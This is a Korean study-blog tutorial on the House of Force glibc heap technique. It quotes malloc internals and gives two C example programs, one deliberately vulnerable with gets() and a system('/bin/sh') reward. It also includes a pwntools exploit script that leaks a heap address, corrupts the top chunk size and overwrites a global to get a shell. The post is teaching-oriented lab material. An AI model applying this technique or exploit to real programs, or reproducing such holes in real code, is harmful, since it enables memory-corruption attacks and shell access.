House of Force
top chunk의 size를 조작함으로써 임의의 주소에 힙 청크를 할당할 수 있게 하는 공격 기법
static void *
_int_malloc (mstate av, size_t bytes)
{
INTERNAL_SIZE_T nb; /* normalized request size */
...
mchunkptr remainder; /* remainder from a split */
unsigned long remainder_size; /* its size */
...
use_top:
victim = av->top;
size = chunksize (victim);
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
av->top = remainder;
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
...
else
{
void *p = sysmalloc (nb, av);
if (p != NULL)
alloc_perturb (p, bytes);
return p;
}
}
}
△ _int_malloc 코드 중 top chunk를 처리하는 부분
º victim = av->top; size = chunksize (victim);
: top chunk의 주소를 가져와(victim) 사이즈(size)를 얻는다.
º if((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) { ... } else { ... }
: top chunk의 size가 할당 요청 받은 크기 nb 보다 크거나 같은 지 검사하고,
top chunk의 size가 nb보다 크다면 힙 영역에 할당한다.
top chunk의 size가 nb보다 작다면 sysmalloc을 통해 추가적으로 영역을 매핑하고 할당한다.
▶ house of force 기법으로 top chunk의 size를 2^64-1(64bit) / 2^32-1(32bit)로 조작해
"임의의 주소 - top chunk의 주소 - 16" 크기의 힙 청크를 할당하고 한 번 더 힙 청크를 할당하면 임의의 주소에 힙 청크를 할당할 수 있게된다. (heap chunk의 header 부분에서 16byte만큼 있으니까 빼줌) (임의의 주소는 할당받기를 원하는 메모리의 주소)
º remainder = chunck_at_offset(victim, nb);
: chunk_at_offset 매크로를 이용해 top chunk의 주소가 topchunk 주소(victim) + 할당 요청 크기(nb)가 되는 것을 확인할 수 있다.
Example 1.
// gcc -o force1 force1.c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
char target[] ="im target!\n";
int main(){
char *buf1;
char *trash;
char *exploit;
__uint64_t* top_chunk_size_addr;
__uint64_t exploit_size = 0;
__uint32_t target_addr = ⌖
buf1 = malloc(0x100);
top_chunk_size_addr = buf1 + 0x108;
fprintf(stderr,"target : %s\n", target);
fprintf(stderr,"buf1 : 0x%x\n", buf1);
fprintf(stderr,"top_chunk_size : 0x%x\n", top_chunk_size_addr);
fprintf(stderr,"target_addr : 0x%x\n", 0x601048);
*top_chunk_size_addr = 0xffffffffffffffff;
exploit_size = target_addr - 0x10 - (__int64_t)top_chunk_size_addr - 0x8;
fprintf(stderr,"exploit_size : 0x%lx\n", exploit_size);
trash = malloc(exploit_size);
exploit = malloc(0x100);
fprintf(stderr,"malloc_addr : 0x%x\n", exploit);
strcpy(exploit, "exploited!!!!!!");
fprintf(stderr,"target : %s\n", target);
return 0;
}
[익스플로잇(force1) 시나리오]
1. 힙 청크 할당(buf1)하고 top chunk의 주소 알아냄(top_chunk_size_addr)
2. top chunk의 size를 2^64-1 (∵ 64bit)(=0xffffffffffffffff)로 조작
3. 할당할 크기(exploit_size)로 임의주소(target_addr)- 0x10 - top_chunk_size_addr - 0x8
→ 할당을 원하는 주소가 0x8로 정렬되었을 때는 0x8을 빼서 정확한 위치에 할당할 수 있다.
힙 청크는 메타데이터의 크기인 0x10 바이트 단위로 정렬되기 때문에 현재 target_addr의 하위 바이트가 0x48이니까 0x40에 할당되게 하기 위한 것이다.
4. malloc함수로 한 번 더 할당하고 나면(trash) 임의의 영역에 힙 청크를 할당할 수 있음(exploit)을 확인
Example 2.
heap overflow가 발생하고 원하는 크기의 힙 청크를 할당할 수 있는 예제
// gcc -o force2 force2.c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
__int64_t overwrite_me = 0;
int main(){
char* buf1;
char* buf2;
char* trash;
char malloc_size[21];
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
buf1 = malloc(0x20);
write(1, &buf1, 8);
gets(buf1);
write(1, "input malloc_size : ", 19);
read(0, malloc_size, 21);
trash = malloc(strtoull(malloc_size, NULL, 10));
buf2 = malloc(0x100);
write(1, "write to target : ", 17);
read(0, buf2, 0x100);
if(overwrite_me == 0xdeadbeefcafebabe){
system("/bin/sh");
}
return 0;
}
[익스 시나리오]
1. write(1, &buf1, 19); 에서 힙 주소를 leak해서 top chunk의 주소를 계산
2. gets(buf1); 에서 heap overflow로 top chunk의 size를 2^64-1 (=0xffffffffffffffff)로 조작
3. read(0, malloc_size, 21);에서 overwrite_me 전역변수의 주소와 top chunk의 주소를 연산해 할당 크기를 전달
4. read(0, buf2, 0x100);에서 overwrite_me 전역변수에 0xdeadbeefcafebabe를 입력함으로써 값을 조작해 쉘을 획득
[실행/익스 짜기]
overwrite 전역 변수의 주소: 0x601090
# force2.py
from pwn import *
s = process('./force2')
#raw_input()
overwrite_me = 0x601090
heap_addr = u64(s.recv(5).ljust(8, '\x00'))
print hex(heap_addr)
topchunk_addr = heap_addr+0x28
print topchunk_addr
payload = '\x00'*0x28
payload += p64(0xffffffffffffffff)
s.sendline(payload)
gdb.attach(s)
target_size = 0xffffffffffffffff & (overwrite_me - 0x10 - topchunk_addr)
print target_size
s.sendline(str(target_size))
payload = p64(0xdeadbeefcafebabe)*2
s.sendline(payload)
s.interactive()
(raw_input()을 쓰면 실행이 안되고 가만히 있길래 그냥 지웠다..별로 중요하지 않다고 하셨따....)
º head_addr = u64(s.recv(5).ljust(8, '\x00'))
write함수를 이용해 힙 (buf1)의 주소를 화면에 출력하고 그 값을 읽어들인다. 이 때 8byte 정렬을 해주기 위해 "\x00"로 맞춰준다.
차례로 head_addr와 topchunk_addr를 출력한다.
º payload ~ s.sendline(payload)
heap과 topchunk의 주소를 leak하고 난 후에는
"힙 청크 크기 + 8" 을 채워 heap overflow를 시켜주고 0xffffffffffffffff을 넣어 topchunk의 size를 조작한다.
>> gdb.attach(s)의 위치를 s.sendline(str(target_size))의 앞으로 옮기고 다시 실행<<
º target_size = 0xffffffffffffffff & (overwrite_me - 0x10 - topchunk_addr)
"overwrite_me - 0x10 - tochunk_addr" 를 계산해 공격할 size(target_size)를 입력하고 target_size만큼의 크기로 할당(trash)하면 overwrite_me 전역변수에 힙 청크를 할당할 수 있게된다.
(35446840 = 0x21ce000 = 처음 구했던 top chunk의 주소)
º payload = p64(0xdeadbeefcafebabe)*2
overwrite_me 변수를 0xdeadbeefcafebabe로 덮어씌워 system("/bin/sh")에 도달할 수 있게된다.
'System > System Hacking' 카테고리의 다른 글
[Protection Tech.] NX bit (2) | 2021.01.03 |
---|---|
[Heap] Memory Leak (0) | 2020.11.16 |
[Heap] The House of Spirit (0) | 2020.09.30 |
[Heap] UAF(Use-After-Free) (0) | 2020.09.19 |
[Heap] Double Free 취약점 (0) | 2020.09.17 |